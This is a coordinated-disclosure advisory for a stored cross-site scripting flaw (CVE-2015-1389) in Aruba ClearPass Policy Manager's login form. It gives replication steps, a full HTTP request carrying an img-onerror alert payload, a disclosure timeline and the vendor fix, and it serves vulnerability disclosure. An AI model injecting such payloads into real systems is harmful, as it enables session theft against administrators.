CASE ID	CM-2014-01	AFFECTED PRODUCT	Aruba ClearPass Policy Manager
FOUND	2014-11-24	VULNERABILITY TYPE	Stored cross-site script
AUTHOR	Cristiano Maruti	SEVERITY	Medium

ISSUE DETAILS

The Aruba ClearPass Policy Manager™ platform provides role- and device-based network access control for employees, contractors and guests across any wired, wireless and VPN infrastructure. The analysis discovered a stored cross site scripting vulnerability (OWASP OTG-INPVAL-002) in the ClearPass Policy Manager. A malicious unauthenticated user is able to inject arbitrary script through the login form that may be rendered and triggered later if a privileged authenticated user reviews the access audit record. An attacker can use the aforementioned vulnerability to effectively steal session cookies of privileged logged on users.

AFFECTED VERSIONS

The following version of the Aruba ClearPass Policy Manager was affected by the vulnerability; previous versions may be vulnerable as well:

- Aruba ClearPass Policy Manager (all versions)

REPLICATION STEPS

It is possible to reproduce the vulnerability following these steps:

1. Open the login page with your browser;
2. Put the `"><img src=x onerror=alert(1337)><"` string in the username field and fill in the password field with a value of your choice;
3. Submit the form;
4. Login to the application with an administrative user:
5. Go to "Monitoring → Live monitoring → Access tracker" to raise the payload.

DISCLOSURE TIMELINE

Below the vendor contact timeline.

Date	Event
2014-11-24	Vulnerability submitted to vendor through the Bugcrowd bounty program.
2014-12-09	Vendor acknowledged the problem.
2014-12-10	Researcher requested to publicly disclose the issue.
2015-02-16	Vendor released a fix for the reported issue.
2015-02-09	Vendor asked to hold-on for the public disclosure.
2015-02-22	Vendor postponed the public disclosure date
2015-02-22	Public coordinated disclosure.

TECHNICAL DETAILS

Below a full transcript of the HTTP request used to raise the vulnerability

HTTP Request

```
POST /tips/tipsLoginSubmit.action HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.1/tips/tipsLoginSubmit.action
Cookie: tree_node_0SaveStateCookie=undefined;
tree_node_1SaveStateCookie=undefined%2Cmenu_3_3_1;
tree_node_2SaveStateCookie=undefined%2Cmenu_5_5_5%2Cmenu_5_5_7%2Cmenu_5_5_9%2Cmenu_5_5_11
%2Cmenu_5_5_13; DWRSESSIONID=ySApozmMh7cdQdTOjhYi4gwoyDk;
JSESSIONID=B83EE42AAAC5D4070C107F4A8B52277C
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

username="><img src=x onerror=alert("0wn3d")><"&password=test
```

VENDOR SOLUTION

Aruba released an update to fix the vulnerability (ClearPass 6.5 or later). Please see the below link for further information released by the vendor:

- http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2015-006.txt

VULNERABILITY REFERENCE

The following CVE ID was allocated to track the vulnerabilities:

Pre-allocated CVE	Description
CVE-2015-1389	Stored cross-site scripting (XSS)

ABOUT

Vulnerability was independently discovered by Cristiano Maruti (@cmaruti) while participating to the Aruba bounty program managed by Bugcrowd (http://bugcrowd.com).